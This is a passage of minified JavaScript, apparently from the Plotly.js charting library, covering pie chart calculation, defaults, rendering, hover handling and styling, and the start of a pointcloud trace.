0?(T[m]=a.length,n=u.indexOf(m)!==-1,n||(E+=A),a.push({v:A,label:m,color:w(y[i],m),i,pts:[i],hidden:n})):(p=!0,v=a[C],v.v+=A,v.pts.push(i),v.hidden||(E+=A),v.color===!1&&y[i]&&(v.color=w(y[i],m)))}a=a.filter(function(I){return I.v>=0});var x=f.type==="funnelarea"?p:f.sort;return x&&a.sort(function(I,k){return k.v-I.v}),a[0]&&(a[0].vTotal=E),a}function d(r){return function(a,l){return!a||(a=P(a),!a.isValid())?!1:(a=o.addOpacity(a,a.getAlpha()),r[l]||(r[l]=a),a)}}function g(r,f){var a=(f||{}).type;a||(a="pie");var l=r._fullLayout,u=r.calcdata,s=l[a+"colorway"],y=l["_"+a+"colormap"];l["extend"+a+"colors"]&&(s=t(s,L));for(var c=0,b=0;b<u.length;b++){var h=u[b],i=h[0].trace.type;if(i===a)for(var v=0;v<h.length;v++){var T=h[v];T.color===!1&&(y[T.label]?T.color=y[T.label]:(y[T.label]=T.color=s[c%s.length],c++))}}}function t(r,f){var a,l=JSON.stringify(r),u=f[l];if(!u){for(u=r.slice(),a=0;a<r.length;a++)u.push(P(r[a]).lighten(20).toHexString());for(a=0;a<r.length;a++)u.push(P(r[a]).darken(20).toHexString());f[l]=u}return u}te.exports={calc:S,crossTraceCalc:g,makePullColorFn:d,generateExtendedColors:t}},37434:function(te,Z,e){var M=e(92770),P=e(71828),o=e(34e3),L=e(27670).c,S=e(90769).handleText,d=e(71828).coercePattern;function g(f,a){var l=Array.isArray(f),u=P.isArrayOrTypedArray(a),s=Math.min(l?f.length:1/0,u?a.length:1/0);if(isFinite(s)||(s=0),s&&u){for(var y,c=0;c<s;c++){var b=a[c];if(M(b)&&b>0){y=!0;break}}y||(s=0)}return{hasLabels:l,hasValues:u,len:s}}function t(f,a,l,u,s){var y=u("marker.line.width");y&&u("marker.line.color",s?void 0:l.paper_bgcolor);var c=u("marker.colors");d(u,"marker.pattern",c),f.marker&&!a.marker.pattern.fgcolor&&(a.marker.pattern.fgcolor=f.marker.colors),a.marker.pattern.bgcolor||(a.marker.pattern.bgcolor=l.paper_bgcolor)}function r(f,a,l,u){function s(C,x){return P.coerce(f,a,o,C,x)}var y=s("labels"),c=s("values"),b=g(y,c),h=b.len;if(a._hasLabels=b.hasLabels,a._hasValues=b.hasValues,!a._hasLabels&&a._hasValues&&(s("label0"),s("dlabel")),!h){a.visible=!1;return}a._length=h,t(f,a,u,s,!0),s("scalegroup");var i=s("text"),v=s("texttemplate"),T;if(v||(T=s("textinfo",Array.isArray(i)?"text+percent":"percent")),s("hovertext"),s("hovertemplate"),v||T&&T!=="none"){var w=s("textposition");S(f,a,u,s,w,{moduleHasSelected:!1,moduleHasUnselected:!1,moduleHasConstrain:!1,moduleHasCliponaxis:!1,moduleHasTextangle:!1,moduleHasInsideanchor:!1});var E=Array.isArray(w)||w==="auto",p=E||w==="outside";p&&s("automargin"),(w==="inside"||w==="auto"||Array.isArray(w))&&s("insidetextorientation")}L(a,u,s);var A=s("hole"),m=s("title.text");if(m){var n=s("title.position",A?"middle center":"top center");!A&&n==="middle center"&&(a.title.position="top center"),P.coerceFont(s,"title.font",u.font)}s("sort"),s("direction"),s("rotation"),s("pull")}te.exports={handleLabelsAndValues:g,handleMarkerDefaults:t,supplyDefaults:r}},20007:function(te,Z,e){var M=e(23469).appendArrayMultiPointValues;te.exports=function(o,L){var S={curveNumber:L.index,pointNumbers:o.pts,data:L._input,fullData:L,label:o.label,color:o.color,value:o.v,percent:o.percent,text:o.text,bbox:o.bbox,v:o.v};return o.pts.length===1&&(S.pointNumber=S.i=o.pts[0]),M(S,L,o.pts),L.type==="funnelarea"&&(delete S.v,delete S.i),S}},22209:function(te,Z,e){var M=e(91424),P=e(7901);te.exports=function(L,S,d,g){var t=d.marker.pattern;t&&t.shape?M.pointStyle(L,d,g,S):P.fill(L,S.color)}},53581:function(te,Z,e){var M=e(71828);function P(o){return o.indexOf("e")!==-1?o.replace(/[.]?0+e/,"e"):o.indexOf(".")!==-1?o.replace(/[.]?0+$/,""):o}Z.formatPiePercent=function(L,S){var d=P((L*100).toPrecision(3));return M.numSeparate(d,S)+"%"},Z.formatPieValue=function(L,S){var d=P(L.toPrecision(10));return M.numSeparate(d,S)},Z.getFirstFilled=function(L,S){if(Array.isArray(L))for(var d=0;d<S.length;d++){var g=L[S[d]];if(g||g===0||g==="")return g}},Z.castOption=function(L,S){if(Array.isArray(L))return Z.getFirstFilled(L,S);if(L)return L},Z.getRotationAngle=function(o){return(o==="auto"?0:o)*Math.PI/180}},58810:function(te,Z,e){te.exports={attributes:e(34e3),supplyDefaults:e(37434).supplyDefaults,supplyLayoutDefaults:e(92097),layoutAttributes:e(92774),calc:e(32354).calc,crossTraceCalc:e(32354).crossTraceCalc,plot:e(14575).plot,style:e(68357),styleOne:e(63463),moduleType:"trace",name:"pie",basePlotModule:e(13584),categories:["pie-like","pie","showLegend"],meta:{}}},92774:function(te){te.exports={hiddenlabels:{valType:"data_array",editType:"calc"},piecolorway:{valType:"colorlist",editType:"calc"},extendpiecolors:{valType:"boolean",dflt:!0,editType:"calc"}}},92097:function(te,Z,e){var M=e(71828),P=e(92774);te.exports=function(L,S){function d(g,t){return M.coerce(L,S,P,g,t)}d("hiddenlabels"),d("piecolorway",S.colorway),d("extendpiecolors")}},14575:function(te,Z,e){var M=e(39898),P=e(74875),o=e(30211),L=e(7901),S=e(91424),d=e(71828),g=d.strScale,t=d.strTranslate,r=e(63893),f=e(72597),a=f.recordMinTextSize,l=f.clearMinTextSize,u=e(97313).TEXTPAD,s=e(53581),y=e(20007),c=e(71828).isValidTextValue;function b(W,V){var Y=W._context.staticPlot,Q=W._fullLayout,ie=Q._size;l("pie",Q),w(V,W),G(V,ie);var j=d.makeTraceGroups(Q._pielayer,V,"trace").each(function(K){var oe=M.select(this),re=K[0],le=re.trace;q(K),oe.attr("stroke-linejoin","round"),oe.each(function(){var pe=M.select(this).selectAll("g.slice").data(K);pe.enter().append("g").classed("slice",!0),pe.exit().remove();var we=[[[],[]],[[],[]]],xe=!1;pe.each(function(Ce,Be){if(Ce.hidden){M.select(this).selectAll("path,g").remove();return}Ce.pointNumber=Ce.i,Ce.curveNumber=le.index,we[Ce.pxmid[1]<0?0:1][Ce.pxmid[0]<0?0:1].push(Ce);var $e=re.cx,Xe=re.cy,Ze=M.select(this),Ke=Ze.selectAll("path.surface").data([Ce]);if(Ke.enter().append("path").classed("surface",!0).style({"pointer-events":Y?"none":"all"}),Ze.call(i,W,K),le.pull){var st=+s.castOption(le.pull,Ce.pts)||0;st>0&&($e+=st*Ce.pxmid[0],Xe+=st*Ce.pxmid[1])}Ce.cxFinal=$e,Ce.cyFinal=Xe;function lt(Pe,De,Ee,ye){var ae=ye*(De[0]-Pe[0]),de=ye*(De[1]-Pe[1]);return"a"+ye*re.r+","+ye*re.r+" 0 "+Ce.largeArc+(Ee?" 1 ":" 0 ")+ae+","+de}var ut=le.hole;if(Ce.v===re.vTotal){var yt="M"+($e+Ce.px0[0])+","+(Xe+Ce.px0[1])+lt(Ce.px0,Ce.pxmid,!0,1)+lt(Ce.pxmid,Ce.px0,!0,1)+"Z";ut?Ke.attr("d","M"+($e+ut*Ce.px0[0])+","+(Xe+ut*Ce.px0[1])+lt(Ce.px0,Ce.pxmid,!1,ut)+lt(Ce.pxmid,Ce.px0,!1,ut)+"Z"+yt):Ke.attr("d",yt)}else{var bt=lt(Ce.px0,Ce.px1,!0,1);if(ut){var Ot=1-ut;Ke.attr("d","M"+($e+ut*Ce.px1[0])+","+(Xe+ut*Ce.px1[1])+lt(Ce.px1,Ce.px0,!1,ut)+"l"+Ot*Ce.px0[0]+","+Ot*Ce.px0[1]+bt+"Z")}else Ke.attr("d","M"+$e+","+Xe+"l"+Ce.px0[0]+","+Ce.px0[1]+bt+"Z")}fe(W,Ce,re);var Ge=s.castOption(le.textposition,Ce.pts),Le=Ze.selectAll("g.slicetext").data(Ce.text&&Ge!=="none"?[0]:[]);Le.enter().append("g").classed("slicetext",!0),Le.exit().remove(),Le.each(function(){var Pe=d.ensureSingle(M.select(this),"text","",function(Qe){Qe.attr("data-notex",1)}),De=d.ensureUniformFontSize(W,Ge==="outside"?v(le,Ce,Q.font):T(le,Ce,Q.font));Pe.text(Ce.text).attr({class:"slicetext",transform:"","text-anchor":"middle"}).call(S.font,De).call(r.convertToTspans,W);var Ee=S.bBox(Pe.node()),ye;if(Ge==="outside")ye=k(Ee,Ce);else if(ye=E(Ee,Ce,re),Ge==="auto"&&ye.scale<1){var ae=d.ensureUniformFontSize(W,le.outsidetextfont);Pe.call(S.font,ae),Ee=S.bBox(Pe.node()),ye=k(Ee,Ce)}var de=ye.textPosAngle,Me=de===void 0?Ce.pxmid:ne(re.r,de);if(ye.targetX=$e+Me[0]*ye.rCenter+(ye.x||0),ye.targetY=Xe+Me[1]*ye.rCenter+(ye.y||0),X(ye,Ee),ye.outside){var Ie=ye.targetY;Ce.yLabelMin=Ie-Ee.height/2,Ce.yLabelMid=Ie,Ce.yLabelMax=Ie+Ee.height/2,Ce.labelExtraX=0,Ce.labelExtraY=0,xe=!0}ye.fontSize=De.size,a(le.type,ye,Q),K[Be].transform=ye,d.setTransormAndDisplay(Pe,ye)})});var ke=M.select(this).selectAll("g.titletext").data(le.title.text?[0]:[]);if(ke.enter().append("g").classed("titletext",!0),ke.exit().remove(),ke.each(function(){var Ce=d.ensureSingle(M.select(this),"text","",function(Xe){Xe.attr("data-notex",1)}),Be=le.title.text;le._meta&&(Be=d.templateString(Be,le._meta)),Ce.text(Be).attr({class:"titletext",transform:"","text-anchor":"middle"}).call(S.font,le.title.font).call(r.convertToTspans,W);var $e;le.title.position==="middle center"?$e=B(re):$e=_(re,ie),Ce.attr("transform",t($e.x,$e.y)+g(Math.min(1,$e.scale))+t($e.tx,$e.ty))}),xe&&N(we,le),h(pe,le),xe&&le.automargin){var _e=S.bBox(oe.node()),be=le.domain,ge=ie.w*(be.x[1]-be.x[0]),Te=ie.h*(be.y[1]-be.y[0]),Fe=(.5*ge-re.r)/ie.w,Oe=(.5*Te-re.r)/ie.h;P.autoMargin(W,"pie."+le.uid+".automargin",{xl:be.x[0]-Fe,xr:be.x[1]+Fe,yb:be.y[0]-Oe,yt:be.y[1]+Oe,l:Math.max(re.cx-re.r-_e.left,0),r:Math.max(_e.right-(re.cx+re.r),0),b:Math.max(_e.bottom-(re.cy+re.r),0),t:Math.max(re.cy-re.r-_e.top,0),pad:5})}})});setTimeout(function(){j.selectAll("tspan").each(function(){var K=M.select(this);K.attr("dy")&&K.attr("dy",K.attr("dy"))})},0)}function h(W,V){W.each(function(Y){var Q=M.select(this);if(!Y.labelExtraX&&!Y.labelExtraY){Q.select("path.textline").remove();return}var ie=Q.select("g.slicetext text");Y.transform.targetX+=Y.labelExtraX,Y.transform.targetY+=Y.labelExtraY,d.setTransormAndDisplay(ie,Y.transform);var j=Y.cxFinal+Y.pxmid[0],K=Y.cyFinal+Y.pxmid[1],oe="M"+j+","+K,re=(Y.yLabelMax-Y.yLabelMin)*(Y.pxmid[0]<0?-1:1)/4;if(Y.labelExtraX){var le=Y.labelExtraX*Y.pxmid[1]/Y.pxmid[0],pe=Y.yLabelMid+Y.labelExtraY-(Y.cyFinal+Y.pxmid[1]);Math.abs(le)>Math.abs(pe)?oe+="l"+pe*Y.pxmid[0]/Y.pxmid[1]+","+pe+"H"+(j+Y.labelExtraX+re):oe+="l"+Y.labelExtraX+","+le+"v"+(pe-le)+"h"+re}else oe+="V"+(Y.yLabelMid+Y.labelExtraY)+"h"+re;d.ensureSingle(Q,"path","textline").call(L.stroke,V.outsidetextfont.color).attr({"stroke-width":Math.min(2,V.outsidetextfont.size/8),d:oe,fill:"none"})})}function i(W,V,Y){var Q=Y[0],ie=Q.cx,j=Q.cy,K=Q.trace,oe=K.type==="funnelarea";"_hasHoverLabel"in K||(K._hasHoverLabel=!1),"_hasHoverEvent"in K||(K._hasHoverEvent=!1),W.on("mouseover",function(re){var le=V._fullLayout,pe=V._fullData[K.index];if(!(V._dragging||le.hovermode===!1)){var we=pe.hoverinfo;if(Array.isArray(we)&&(we=o.castHoverinfo({hoverinfo:[s.castOption(we,re.pts)],_module:K._module},le,0)),we==="all"&&(we="label+text+value+percent+name"),pe.hovertemplate||we!=="none"&&we!=="skip"&&we){var xe=re.rInscribed||0,ke=ie+re.pxmid[0]*(1-xe),_e=j+re.pxmid[1]*(1-xe),be=le.separators,ge=[];if(we&&we.indexOf("label")!==-1&&ge.push(re.label),re.text=s.castOption(pe.hovertext||pe.text,re.pts),we&&we.indexOf("text")!==-1){var Te=re.text;d.isValidTextValue(Te)&&ge.push(Te)}re.value=re.v,re.valueLabel=s.formatPieValue(re.v,be),we&&we.indexOf("value")!==-1&&ge.push(re.valueLabel),re.percent=re.v/Q.vTotal,re.percentLabel=s.formatPiePercent(re.percent,be),we&&we.indexOf("percent")!==-1&&ge.push(re.percentLabel);var Fe=pe.hoverlabel,Oe=Fe.font,Ce=[];o.loneHover({trace:K,x0:ke-xe*Q.r,x1:ke+xe*Q.r,y:_e,_x0:oe?ie+re.TL[0]:ke-xe*Q.r,_x1:oe?ie+re.TR[0]:ke+xe*Q.r,_y0:oe?j+re.TL[1]:_e-xe*Q.r,_y1:oe?j+re.BL[1]:_e+xe*Q.r,text:ge.join("<br>"),name:pe.hovertemplate||we.indexOf("name")!==-1?pe.name:void 0,idealAlign:re.pxmid[0]<0?"left":"right",color:s.castOption(Fe.bgcolor,re.pts)||re.color,borderColor:s.castOption(Fe.bordercolor,re.pts),fontFamily:s.castOption(Oe.family,re.pts),fontSize:s.castOption(Oe.size,re.pts),fontColor:s.castOption(Oe.color,re.pts),nameLength:s.castOption(Fe.namelength,re.pts),textAlign:s.castOption(Fe.align,re.pts),hovertemplate:s.castOption(pe.hovertemplate,re.pts),hovertemplateLabels:re,eventData:[y(re,pe)]},{container:le._hoverlayer.node(),outerContainer:le._paper.node(),gd:V,inOut_bbox:Ce}),re.bbox=Ce[0],K._hasHoverLabel=!0}K._hasHoverEvent=!0,V.emit("plotly_hover",{points:[y(re,pe)],event:M.event})}}),W.on("mouseout",function(re){var le=V._fullLayout,pe=V._fullData[K.index],we=M.select(this).datum();K._hasHoverEvent&&(re.originalEvent=M.event,V.emit("plotly_unhover",{points:[y(we,pe)],event:M.event}),K._hasHoverEvent=!1),K._hasHoverLabel&&(o.loneUnhover(le._hoverlayer.node()),K._hasHoverLabel=!1)}),W.on("click",function(re){var le=V._fullLayout,pe=V._fullData[K.index];V._dragging||le.hovermode===!1||(V._hoverdata=[y(re,pe)],o.click(V,M.event))})}function v(W,V,Y){var Q=s.castOption(W.outsidetextfont.color,V.pts)||s.castOption(W.textfont.color,V.pts)||Y.color,ie=s.castOption(W.outsidetextfont.family,V.pts)||s.castOption(W.textfont.family,V.pts)||Y.family,j=s.castOption(W.outsidetextfont.size,V.pts)||s.castOption(W.textfont.size,V.pts)||Y.size;return{color:Q,family:ie,size:j}}function T(W,V,Y){var Q=s.castOption(W.insidetextfont.color,V.pts);!Q&&W._input.textfont&&(Q=s.castOption(W._input.textfont.color,V.pts));var ie=s.castOption(W.insidetextfont.family,V.pts)||s.castOption(W.textfont.family,V.pts)||Y.family,j=s.castOption(W.insidetextfont.size,V.pts)||s.castOption(W.textfont.size,V.pts)||Y.size;return{color:Q||L.contrast(V.color),family:ie,size:j}}function w(W,V){for(var Y,Q,ie=0;ie<W.length;ie++)if(Y=W[ie][0],Q=Y.trace,Q.title.text){var j=Q.title.text;Q._meta&&(j=d.templateString(j,Q._meta));var K=S.tester.append("text").attr("data-notex",1).text(j).call(S.font,Q.title.font).call(r.convertToTspans,V),oe=S.bBox(K.node(),!0);Y.titleBox={width:oe.width,height:oe.height},K.remove()}}function E(W,V,Y){var Q=Y.r||V.rpx1,ie=V.rInscribed,j=V.startangle===V.stopangle;if(j)return{rCenter:1-ie,scale:0,rotate:0,textPosAngle:0};var K=V.ring,oe=K===1&&Math.abs(V.startangle-V.stopangle)===Math.PI*2,re=V.halfangle,le=V.midangle,pe=Y.trace.insidetextorientation,we=pe==="horizontal",xe=pe==="tangential",ke=pe==="radial",_e=pe==="auto",be=[],ge;if(!_e){var Te=function(Ze,Ke){if(p(V,Ze)){var st=Math.abs(Ze-V.startangle),lt=Math.abs(Ze-V.stopangle),ut=st<lt?st:lt;Ke==="tan"?ge=m(W,Q,K,ut,0):ge=A(W,Q,K,ut,Math.PI/2),ge.textPosAngle=Ze,be.push(ge)}},Fe;if(we||xe){for(Fe=4;Fe>=-4;Fe-=2)Te(Math.PI*Fe,"tan");for(Fe=4;Fe>=-4;Fe-=2)Te(Math.PI*(Fe+1),"tan")}if(we||ke){for(Fe=4;Fe>=-4;Fe-=2)Te(Math.PI*(Fe+1.5),"rad");for(Fe=4;Fe>=-4;Fe-=2)Te(Math.PI*(Fe+.5),"rad")}}if(oe||_e||we){var Oe=Math.sqrt(W.width*W.width+W.height*W.height);if(ge={scale:ie*Q*2/Oe,rCenter:1-ie,rotate:0},ge.textPosAngle=(V.startangle+V.stopangle)/2,ge.scale>=1)return ge;be.push(ge)}(_e||ke)&&(ge=A(W,Q,K,re,le),ge.textPosAngle=(V.startangle+V.stopangle)/2,be.push(ge)),(_e||xe)&&(ge=m(W,Q,K,re,le),ge.textPosAngle=(V.startangle+V.stopangle)/2,be.push(ge));for(var Ce=0,Be=0,$e=0;$e<be.length;$e++){var Xe=be[$e].scale;if(Be<Xe&&(Be=Xe,Ce=$e),!_e&&Be>=1)break}return be[Ce]}function p(W,V){var Y=W.startangle,Q=W.stopangle;return Y>V&&V>Q||Y<V&&V<Q}function A(W,V,Y,Q,ie){V=Math.max(0,V-2*u);var j=W.width/W.height,K=x(j,Q,V,Y);return{scale:K*2/W.height,rCenter:n(j,K/V),rotate:C(ie)}}function m(W,V,Y,Q,ie){V=Math.max(0,V-2*u);var j=W.height/W.width,K=x(j,Q,V,Y);return{scale:K*2/W.width,rCenter:n(j,K/V),rotate:C(ie+Math.PI/2)}}function n(W,V){return Math.cos(V)-W*V}function C(W){return(180/Math.PI*W+720)%180-90}function x(W,V,Y,Q){var ie=W+1/(2*Math.tan(V));return Y*Math.min(1/(Math.sqrt(ie*ie+.5)+ie),Q/(Math.sqrt(W*W+Q/2)+W))}function I(W,V){return W.v===V.vTotal&&!V.trace.hole?1:Math.min(1/(1+1/Math.sin(W.halfangle)),W.ring/2)}function k(W,V){var Y=V.pxmid[0],Q=V.pxmid[1],ie=W.width/2,j=W.height/2;return Y<0&&(ie*=-1),Q<0&&(j*=-1),{scale:1,rCenter:1,rotate:0,x:ie+Math.abs(j)*(ie>0?1:-1)/2,y:j/(1+Y*Y/(Q*Q)),outside:!0}}function B(W){var V=Math.sqrt(W.titleBox.width*W.titleBox.width+W.titleBox.height*W.titleBox.height);return{x:W.cx,y:W.cy,scale:W.trace.hole*W.r*2/V,tx:0,ty:-W.titleBox.height/2+W.trace.title.font.size}}function _(W,V){var Y=1,Q=1,ie,j=W.trace,K={x:W.cx,y:W.cy},oe={tx:0,ty:0};oe.ty+=j.title.font.size,ie=z(j),j.title.position.indexOf("top")!==-1?(K.y-=(1+ie)*W.r,oe.ty-=W.titleBox.height):j.title.position.indexOf("bottom")!==-1&&(K.y+=(1+ie)*W.r);var re=F(W.r,W.trace.aspectratio),le=V.w*(j.domain.x[1]-j.domain.x[0])/2;return j.title.position.indexOf("left")!==-1?(le=le+re,K.x-=(1+ie)*re,oe.tx+=W.titleBox.width/2):j.title.position.indexOf("center")!==-1?le*=2:j.title.position.indexOf("right")!==-1&&(le=le+re,K.x+=(1+ie)*re,oe.tx-=W.titleBox.width/2),Y=le/W.titleBox.width,Q=O(W,V)/W.titleBox.height,{x:K.x,y:K.y,scale:Math.min(Y,Q),tx:oe.tx,ty:oe.ty}}function F(W,V){return W/(V===void 0?1:V)}function O(W,V){var Y=W.trace,Q=V.h*(Y.domain.y[1]-Y.domain.y[0]);return Math.min(W.titleBox.height,Q/2)}function z(W){var V=W.pull;if(!V)return 0;var Y;if(Array.isArray(V))for(V=0,Y=0;Y<W.pull.length;Y++)W.pull[Y]>V&&(V=W.pull[Y]);return V}function N(W,V){var Y,Q,ie,j,K,oe,re,le,pe,we,xe,ke,_e;function be(Oe,Ce){return Oe.pxmid[1]-Ce.pxmid[1]}function ge(Oe,Ce){return Ce.pxmid[1]-Oe.pxmid[1]}function Te(Oe,Ce){Ce||(Ce={});var Be=Ce.labelExtraY+(Q?Ce.yLabelMax:Ce.yLabelMin),$e=Q?Oe.yLabelMin:Oe.yLabelMax,Xe=Q?Oe.yLabelMax:Oe.yLabelMin,Ze=Oe.cyFinal+K(Oe.px0[1],Oe.px1[1]),Ke=Be-$e,st,lt,ut,yt,bt,Ot;if(Ke*re>0&&(Oe.labelExtraY=Ke),!!Array.isArray(V.pull))for(lt=0;lt<we.length;lt++)ut=we[lt],!(ut===Oe||(s.castOption(V.pull,Oe.pts)||0)>=(s.castOption(V.pull,ut.pts)||0))&&((Oe.pxmid[1]-ut.pxmid[1])*re>0?(yt=ut.cyFinal+K(ut.px0[1],ut.px1[1]),Ke=yt-$e-Oe.labelExtraY,Ke*re>0&&(Oe.labelExtraY+=Ke)):(Xe+Oe.labelExtraY-Ze)*re>0&&(st=3*oe*Math.abs(lt-we.indexOf(Oe)),bt=ut.cxFinal+j(ut.px0[0],ut.px1[0]),Ot=bt+st-(Oe.cxFinal+Oe.pxmid[0])-Oe.labelExtraX,Ot*oe>0&&(Oe.labelExtraX+=Ot)))}for(Q=0;Q<2;Q++)for(ie=Q?be:ge,K=Q?Math.max:Math.min,re=Q?1:-1,Y=0;Y<2;Y++){for(j=Y?Math.max:Math.min,oe=Y?1:-1,le=W[Q][Y],le.sort(ie),pe=W[1-Q][Y],we=pe.concat(le),ke=[],xe=0;xe<le.length;xe++)le[xe].yLabelMid!==void 0&&ke.push(le[xe]);for(_e=!1,xe=0;Q&&xe<pe.length;xe++)if(pe[xe].yLabelMid!==void 0){_e=pe[xe];break}for(xe=0;xe<ke.length;xe++){var Fe=xe&&ke[xe-1];_e&&!xe&&(Fe=_e),Te(ke[xe],Fe)}}}function G(W,V){for(var Y=[],Q=0;Q<W.length;Q++){var ie=W[Q][0],j=ie.trace,K=j.domain,oe=V.w*(K.x[1]-K.x[0]),re=V.h*(K.y[1]-K.y[0]);j.title.text&&j.title.position!=="middle center"&&(re-=O(ie,V));var le=oe/2,pe=re/2;j.type==="funnelarea"&&!j.scalegroup&&(pe/=j.aspectratio),ie.r=Math.min(le,pe)/(1+z(j)),ie.cx=V.l+V.w*(j.domain.x[1]+j.domain.x[0])/2,ie.cy=V.t+V.h*(1-j.domain.y[0])-re/2,j.title.text&&j.title.position.indexOf("bottom")!==-1&&(ie.cy-=O(ie,V)),j.scalegroup&&Y.indexOf(j.scalegroup)===-1&&Y.push(j.scalegroup)}J(W,Y)}function J(W,V){for(var Y,Q,ie,j=0;j<V.length;j++){var K=1/0,oe=V[j];for(Q=0;Q<W.length;Q++)if(Y=W[Q][0],ie=Y.trace,ie.scalegroup===oe){var re;if(ie.type==="pie")re=Y.r*Y.r;else if(ie.type==="funnelarea"){var le,pe;ie.aspectratio>1?(le=Y.r,pe=le/ie.aspectratio):(pe=Y.r,le=pe*ie.aspectratio),le*=(1+ie.baseratio)/2,re=le*pe}K=Math.min(K,re/Y.vTotal)}for(Q=0;Q<W.length;Q++)if(Y=W[Q][0],ie=Y.trace,ie.scalegroup===oe){var we=K*Y.vTotal;ie.type==="funnelarea"&&(we/=(1+ie.baseratio)/2,we/=ie.aspectratio),Y.r=Math.sqrt(we)}}}function q(W){var V=W[0],Y=V.r,Q=V.trace,ie=s.getRotationAngle(Q.rotation),j=2*Math.PI/V.vTotal,K="px0",oe="px1",re,le,pe;if(Q.direction==="counterclockwise"){for(re=0;re<W.length&&W[re].hidden;re++);if(re===W.length)return;ie+=j*W[re].v,j*=-1,K="px1",oe="px0"}for(pe=ne(Y,ie),re=0;re<W.length;re++)le=W[re],!le.hidden&&(le[K]=pe,le.startangle=ie,ie+=j*le.v/2,le.pxmid=ne(Y,ie),le.midangle=ie,ie+=j*le.v/2,pe=ne(Y,ie),le.stopangle=ie,le[oe]=pe,le.largeArc=le.v>V.vTotal/2?1:0,le.halfangle=Math.PI*Math.min(le.v/V.vTotal,.5),le.ring=1-Q.hole,le.rInscribed=I(le,V))}function ne(W,V){return[W*Math.sin(V),-W*Math.cos(V)]}function fe(W,V,Y){var Q=W._fullLayout,ie=Y.trace,j=ie.texttemplate,K=ie.textinfo;if(!j&&K&&K!=="none"){var oe=K.split("+"),re=function(Ce){return oe.indexOf(Ce)!==-1},le=re("label"),pe=re("text"),we=re("value"),xe=re("percent"),ke=Q.separators,_e;if(_e=le?[V.label]:[],pe){var be=s.getFirstFilled(ie.text,V.pts);c(be)&&_e.push(be)}we&&_e.push(s.formatPieValue(V.v,ke)),xe&&_e.push(s.formatPiePercent(V.v/Y.vTotal,ke)),V.text=_e.join("<br>")}function ge(Ce){return{label:Ce.label,value:Ce.v,valueLabel:s.formatPieValue(Ce.v,Q.separators),percent:Ce.v/Y.vTotal,percentLabel:s.formatPiePercent(Ce.v/Y.vTotal,Q.separators),color:Ce.color,text:Ce.text,customdata:d.castOption(ie,Ce.i,"customdata")}}if(j){var Te=d.castOption(ie,V.i,"texttemplate");if(!Te)V.text="";else{var Fe=ge(V),Oe=s.getFirstFilled(ie.text,V.pts);(c(Oe)||Oe==="")&&(Fe.text=Oe),V.text=d.texttemplateString(Te,Fe,W._fullLayout._d3locale,Fe,ie._meta||{})}}}function X(W,V){var Y=W.rotate*Math.PI/180,Q=Math.cos(Y),ie=Math.sin(Y),j=(V.left+V.right)/2,K=(V.top+V.bottom)/2;W.textX=j*Q-K*ie,W.textY=j*ie+K*Q,W.noCenter=!0}te.exports={plot:b,formatSliceLabel:fe,transformInsideText:E,determineInsideTextFont:T,positionTitleOutside:_,prerenderTitles:w,layoutAreas:G,attachFxHandlers:i,computeTransform:X}},68357:function(te,Z,e){var M=e(39898),P=e(63463),o=e(72597).resizeText;te.exports=function(S){var d=S._fullLayout._pielayer.selectAll(".trace");o(S,d,"pie"),d.each(function(g){var t=g[0],r=t.trace,f=M.select(this);f.style({opacity:r.opacity}),f.selectAll("path.surface").each(function(a){M.select(this).call(P,a,r,S)})})}},63463:function(te,Z,e){var M=e(7901),P=e(53581).castOption,o=e(22209);te.exports=function(S,d,g,t){var r=g.marker.line,f=P(r.color,d.pts)||M.defaultLine,a=P(r.width,d.pts)||0;S.call(o,d,g,t).style("stroke-width",a).call(M.stroke,f)}},10959:function(te,Z,e){var M=e(82196);te.exports={x:M.x,y:M.y,xy:{valType:"data_array",editType:"calc"},indices:{valType:"data_array",editType:"calc"},xbounds:{valType:"data_array",editType:"calc"},ybounds:{valType:"data_array",editType:"calc"},text:M.text,marker:{color:{valType:"color",arrayOk:!1,editType:"calc"},opacity:{valType:"number",min:0,max:1,dflt:1,arrayOk:!1,editType:"calc"},blend:{valType:"boolean",dflt:null,editType:"calc"},sizemin:{valType:"number",min:.1,max:2,dflt:.5,editType:"calc"},sizemax:{valType:"number",min:.1,dflt:20,editType:"calc"},border:{color:{valType:"color",arrayOk:!1,editType:"calc"},arearatio:{valType:"number",min:0,max:1,dflt:0,editType:"calc"},editType:"calc"},editType:"calc"},transforms:void 0}},42743:function(te,Z,e){var M=e(9330).gl_pointcloud2d,P=e(78614),o=e(71739).findExtremes,L=e(34603);function S(t,r){this.scene=t,this.uid=r,this.type="pointcloud",this.pickXData=[],this.pickYData=[],this.xData=[],this.yData=[],this.textLabels=[],this.color="rgb(0, 0, 0)",this.name="",this.hoverinfo="all",this.idToIndex=new Int32Array(0),this.bounds=[0,0,0,0],this.pointcloudOptions={positions:new Float32Array(0),idToIndex:this.idToIndex,sizemin:.5,sizemax:12,color:[0,0,0,1],areaRatio:1,borderColor:[0,0,0,1]},this.pointcloud=M(t.glplot,this.pointcloudOptions),this.pointcloud._trace=this}var d=S.prototype;d.handlePick=function(t){var r=this.idToIndex[t.pointId];return{trace:this,dataCoord:t.dataCoord,traceCoord:this.pickXYData?[this.pickXYData[r*2],this.pickXYData[r*2+1]]:[this.pickXData[r],this.pickYData[r]],textLabel:Array.isArray(this.textLabels)?this.textLabels[r]:this.textLabels,color:this.color,name:this.name,pointIndex:r,hoverinfo:this.hoverinfo}},d.update=function(t){this.index=t.index,this.textLabels=t.text,this.name=t.name,this.hoverinfo=t.hoverinfo,this.bounds=[1/0,1/0,-1/0,-1/0],this.updateFast(t),this.color=L(t,{})},d.updateFast=function(t){var r=this.xData=this.pickXData=t.x,f=this.yData=this.pickYData=t.y,a=this.pickXYData=t.xy,l=t.xbounds&&t.ybounds,u=t.indices,s,y,c,b=this.bounds,h,i,v;if(a){if(c=a,s=a.length>>>1,l)b[0]=t.xbounds[0],b[2]=t.xbounds[1],b[1]=t.ybounds[0],b[3]=t.ybounds[1];else for(v=0;v<s;v++)h=c[v*2],i=c[v*2+1],h<b[0]&&(b[0]=h),h>b[2]&&(b[2]=h),i<b[1]&&(b[1]=i),i>b[3]&&(b[3]=i);if(u)y=u;else for(y=new Int32Array(s),v=0;v<s;v++)y[v]=v}else for(s=r.length,c=new Float32Array(2*s),y=new Int32Array(s),v=0;v<s;v++)h=r[v],i=f[v],y[v]=v,c[v*2]=h,c[v*2+1]=i,h<b[0]&&(b[0]=h),h>b[2]&&(b[2]=h),i<b[1]&&(b[1]=i),i>b[3]&&(b[3]=i);this.idToIndex=y,this.pointcloudOptions.idToIndex=y,this.pointcloudOptions.positions=c;var 